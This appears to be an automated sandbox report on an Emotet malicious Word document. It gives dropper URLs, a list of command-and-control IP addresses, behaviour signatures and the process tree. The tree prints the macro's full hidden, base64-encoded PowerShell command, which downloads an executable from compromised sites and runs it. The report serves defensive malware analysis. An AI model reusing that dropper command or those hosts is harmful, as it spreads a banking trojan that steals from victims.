Overview

overview

10

task1

 

10

Analysis

  • max time kernel
    29s
  • resource
    win10v191014
  • submitted
    14/01/2020, 22:51

Sharing

Copy URL Twitter E-mail

General

  • Target
    b2cc0c58a84f2d5dcda1d3c2f791b6c51fe7928411601acb03018612c325e63f
  • Sample200114-d1gmswvb5x
  • SHA256 b2cc0c58a84f2d5dcda1d3c2f791b6c51fe7928411601acb03018612c325e63f
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://farsmix.com/wp-admin/xpk881/
  • exe.dropper

    http://thuong.bidiworks.com/wp-content/q2TO1988/
  • exe.dropper

    https://securiteordi.com/wofk253jeksed/QO485/
  • exe.dropper

    http://ziyinshedege.com/wp-content/TIGc/
  • exe.dropper

    http://luilao.com/yakattack/EmXdYs3Rf/

Extracted

Family

  • emotet

C2

  • 70.184.69.146:80

  • 186.177.165.196:443

  • 139.47.135.215:80

  • 192.241.143.52:8080

  • 159.65.241.220:8080

  • 45.79.95.107:443

  • 69.163.33.84:8080

  • 177.34.142.163:80

  • 200.123.183.137:443

  • 2.47.112.72:80

  • 190.17.44.48:80

  • 187.54.225.76:80

  • 190.219.149.236:80

  • 190.100.153.162:443

  • 58.171.38.26:80

  • 91.205.215.57:7080

  • 152.231.89.226:80

  • 94.176.234.118:443

  • 201.213.100.141:8080

  • 203.25.159.3:8080

rsa_pubkey.plain

Signatures

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Process spawned unexpected child process 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Suspicious behavior: EmotetMutantsSpam 2 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Drops file in System32 directory 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

    trojanbankeremotet

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\b2cc0c58a84f2d5dcda1d3c2f791b6c51fe7928411601acb03018612c325e63f.doc" /o ""
    1⤵
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Checks processor information in registry
    PID:4936
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -w hidden -en JABXAHoAcgBtAGEAbAB4AHUAeABxAD0AJwBRAGwAZgBjAGgAYgB0AG8AdwBxACcAOwAkAFEAdQBvAG4AaQByAGwAaQBqACAAPQAgACcAMgAwADAAJwA7ACQAQQBvAGwAaQBnAHcAcwBlAHYAcgBlAD0AJwBVAGMAZABwAG8AbwBlAGkAeABjAGMAbwBlACcAOwAkAEUAYgBpAGUAbgBkAGwAbAB2AG8AYgBqAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABRAHUAbwBuAGkAcgBsAGkAagArACcALgBlAHgAZQAnADsAJABQAG0AZgB1AG4AeABhAHcAbQBtAHEAPQAnAEkAdgB1AGIAaQBpAGcAcgBrAGgAYgBxACcAOwAkAEQAZgByAHQAcQB5AGoAbQB2AD0ALgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlAGMAJwArACcAdAAnACkAIABOAEUAVAAuAFcAZQBCAEMATABpAEUATgB0ADsAJABSAHUAcAB2AG0AdQB2AHkAagBvAHMAPQAnAGgAdAB0AHAAOgAvAC8AZgBhAHIAcwBtAGkAeAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AeABwAGsAOAA4ADEALwAqAGgAdAB0AHAAOgAvAC8AdABoAHUAbwBuAGcALgBiAGkAZABpAHcAbwByAGsAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHEAMgBUAE8AMQA5ADgAOAAvACoAaAB0AHQAcABzADoALwAvAHMAZQBjAHUAcgBpAHQAZQBvAHIAZABpAC4AYwBvAG0ALwB3AG8AZgBrADIANQAzAGoAZQBrAHMAZQBkAC8AUQBPADQAOAA1AC8AKgBoAHQAdABwADoALwAvAHoAaQB5AGkAbgBzAGgAZQBkAGUAZwBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AVABJAEcAYwAvACoAaAB0AHQAcAA6AC8ALwBsAHUAaQBsAGEAbwAuAGMAbwBtAC8AeQBhAGsAYQB0AHQAYQBjAGsALwBFAG0AWABkAFkAcwAzAFIAZgAvACcALgAiAHMAUABsAGAAaQB0ACIAKAAnACoAJwApADsAJABEAG0AaQB1AGMAbwBjAG8AaQA9ACcARwBhAHUAZgByAGMAeQB1AGwAegAnADsAZgBvAHIAZQBhAGMAaAAoACQAUQBnAGMAawB1AGoAbwBjAHQAIABpAG4AIAAkAFIAdQBwAHYAbQB1AHYAeQBqAG8AcwApAHsAdAByAHkAewAkAEQAZgByAHQAcQB5AGoAbQB2AC4AIgBkAG8AVwBuAEwAbwBgAEEARABgAEYASQBMAGUAIgAoACQAUQBnAGMAawB1AGoAbwBjAHQALAAgACQARQBiAGkAZQBuAGQAbABsAHYAbwBiAGoAKQA7ACQAQgBmAHYAYgB4AGUAZQBlAGUAPQAnAFgAawBkAHMAbgBnAHEAdABuAGoAcgAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEUAYgBpAGUAbgBkAGwAbAB2AG8AYgBqACkALgAiAGwARQBOAEcAYABUAGgAIgAgAC0AZwBlACAAMgAxADMANAA3ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAdABgAEEAcgB0ACIAKAAkAEUAYgBpAGUAbgBkAGwAbAB2AG8AYgBqACkAOwAkAE0AdABmAGQAdgBvAGgAYwBlAGgAPQAnAE0AZQBqAGUAZwBmAHQAawB4ACcAOwBiAHIAZQBhAGsAOwAkAEsAawBvAHUAZwBuAHkAagBkAG8AcAA9ACcAWgBiAGkAeQBqAHUAZgB2AGQAZwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABKAGkAYwBsAGgAeABvAHEAZgB2AD0AJwBVAGEAbwBmAHkAbAB0AHcAcwAnAA==
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4040
    • C:\Users\Admin\200.exe
      "C:\Users\Admin\200.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4696
      • C:\Users\Admin\200.exe
        --c4bc2c90
        3⤵
        • Suspicious use of SetWindowsHookEx
        • Executes dropped EXE
        • Suspicious behavior: EmotetMutantsSpam
        • Drops file in System32 directory
        PID:4724
  • C:\Windows\SysWOW64\fillmalert.exe
    "C:\Windows\SysWOW64\fillmalert.exe"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:3788
    • C:\Windows\SysWOW64\fillmalert.exe
      --86bd69c4
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      • Suspicious behavior: EmotetMutantsSpam
      PID:3832

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/3788-13-0x0000000000D70000-0x0000000000D87000-memory.dmp
        Download

        memory/3832-16-0x0000000000DF0000-0x0000000000E07000-memory.dmp
        Download

        memory/3832-17-0x0000000000400000-0x000000000046E000-memory.dmp
        Download

        memory/4696-7-0x00000000006F0000-0x0000000000707000-memory.dmp
        Download

        memory/4724-11-0x0000000000400000-0x000000000046E000-memory.dmp
        Download

        memory/4724-10-0x0000000000530000-0x0000000000547000-memory.dmp
        Download